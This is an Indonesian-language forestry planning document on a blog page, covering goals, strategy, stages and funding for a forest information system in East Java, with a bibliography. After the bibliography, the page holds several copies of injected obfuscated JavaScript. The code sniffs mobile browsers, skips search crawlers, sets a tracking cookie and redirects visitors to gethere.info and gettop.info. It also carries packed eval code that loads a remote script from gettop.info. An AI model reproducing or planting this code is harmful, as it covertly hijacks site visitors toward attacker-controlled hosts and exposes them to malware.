Agar dapat tercapai tujuan kebijakan pembangunan kehutanan harus ditunjang oleh empat prinsip reformasi pembangunan kehutanan, yaitu: transparan, partisipatif, accountable, dan terintegrasi. (Nasution, 1999). Keempat syarat ini akan dapat operasional manakala di dukung oleh suatu sistem informasi yang akurat tentang data potensi hutan dan ini perlu disiapkan agar memudahkan bagi stakeholder yang relevan dan membantu dalam kontrol pelaksanaan dapat disajikan secara terbuka dan memudahkan di dalam proses evaluasi pada setiap tahapan kegiatan yang menyangkut pengelolaan hutan baik yang berupa panen hasil kayu maupun non kayu. Keterbukaan informasi akan memudahkan pula bagi fihak pendidikan untuk dapat mengakses informasi dan selanjutnya diteliti agar daya-manfa’at dapat lebih dapat dirasakan oleh khalayak banyak.  

 

2.4.2. Tujuan Program

1. Meningkatkan  kesadaran masyarakat di dalam mengelola hutan

2.  Meningkatkan daya manfa’at hutan dan kekayaan yang ada di dalamnya dengan  memperhatikan kaidah-kaidah manajemen ekosistem

3. Membantu dan memudahkan menyediakan informasi yang akurat baik pada tahapan perencanaan, pemantauan dan evaluasi agar tidak terjadi distorsi pengelolaan hutan/ menyeimbangkan ketiga fungsi hutan

 

2.4.3. Rencana Strategis

1. Merumuskan konsep penyajian informasi yang komunikatif, akurat, dan sederhana

2. Mensosialisasikan  model system informasi yang tepat kepada stakeholder yang relevan

3. Memantau pelaksanaan aplikasi sistem informasi yang dikembangkan

                                               

2.4.4. Tahapan Kegiatan

Tahun 2002 – 2010

1. Menginventarisir macam informasi yang dibutuhkan informasi yang telah ada di Jawa Timur untuk pengelolaan hutan secara berkelanjutan baik informasi yang berisi data biofisik maupun yang menyangkut aturan serta kelembagaan ekonomi dan sosial, dan yang bersifat local, regional serta internasional

2. Mencari  dan menerapkan model data base yang tepat/sesuai kebutuhan

3.  Melakukan pemetaan kawasan hutan produksi, hutan lindung, dan hutan konservasi, termasuk pula kawasan penyangga, serta wilayah tradional dengan menggunakan metode yang lebih akurat misalnya dengan citra satelit dan  foto udara

4. Mendiseminasikan dan melaksanakan hasil pemetaan sesuai dengan peruntukannya

5. Melaksanakan sosialisasi, misalnya melalui pelatihan tentang pemggunaan model informasi yang tepat.

6. Memantapkan kelembagaan sistem informasi secara terpadu.

 

Tahun 2011 – 2020

1. Mengevaluasi aplikasi model data base yang tepat/sesuai kebutuhan

2.  Mengevaluasi akurasi hasil  pemetaan sesuai dengan peruntukkannya

 

 

 

3. Pendanaan

_________________________________________________________________________

Program                          2002 – 2010                                     2011 – 2020

 

            APBN APBD I APBD II LN Masy/swasta      APBN APBD I APBD II LN Masy/swasta

_________________________________________________________________________

     A        v       v          v               v        v                       v           v         v          v          v

     B        v       v          v                          v                       v           v         v                      v

     C        v      v         v                          v                       v           v          v          v          v

 

     D       v       v          v                          v                     v          v         v                        v

     

_________________________________________________________________________

 

 

 


Daftar Pustaka

 

Fattah, A. 1999. Strategi Pengelolaan Hutan Indonesia sebagai Amanah. PT Pola Aneka Sejahtera, Jakarta

NKLHD Jatim, 1993. Luas kawasan Hutan Prodksi, Hutan Lindung dan Hutan Konservasi di Jawa Timur

——————,  1998.Luas kawasan Hutan Produksi, Hutan Lindung dan Hutan Konservasi di Jawa Timur

Kantor Menteri Negara Lingkungan Hidup, 1996. Agenda 21 Indonesia Strategi untuk Pembangunan Berkelanjutan

Nasution, M. 1999. Untuk Mewujudkan Pembangunan Kehutanan dan Perkebunan yang Berkeadilan dan Berkelanjutan.  Departemen Kehutanan dan Perkebunan. Jakarta

 

 

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&’”, delay);var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Categories: Uncategorized Tags:
  1. No comments yet.
  1. No trackbacks yet.
CAPTCHA Image
*